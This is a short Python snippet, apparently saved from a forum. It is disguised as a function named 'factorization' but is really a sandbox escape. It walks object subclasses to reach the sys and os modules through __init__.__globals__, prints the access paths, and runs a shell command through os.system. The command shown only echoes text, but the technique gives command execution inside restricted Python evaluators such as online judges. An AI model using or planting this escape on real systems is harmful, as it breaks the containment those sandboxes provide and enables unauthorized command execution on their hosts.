def factorization(n):
classes = ''.__class__.__base__.__subclasses__()

sys_not_found = True
os_not_found = True

for (idx, c) in enumerate(classes):
i = c.__init__
if "__globals__" not in dir(i):
continue
g = i.__globals__
if sys_not_found and 'sys' in g:
print(f"sys = classes[{idx}].__init__.__globals__['sys']")
sys = g['sys']
sys_not_found = False
if os_not_found and 'os' in g:
print(f"os = classes[{idx}].__init__.__globals__['os']")
os = g['os']
os_not_found = False
if os_not_found and '_os' in g:
print(f"os = classes[{idx}].__init__.__globals__['_os']")
os = g['_os']
os_not_found = False
if sys_not_found or os_not_found:
continue
break
print(sys)
print(os)
os.system("echo hello wxk")

先收藏一手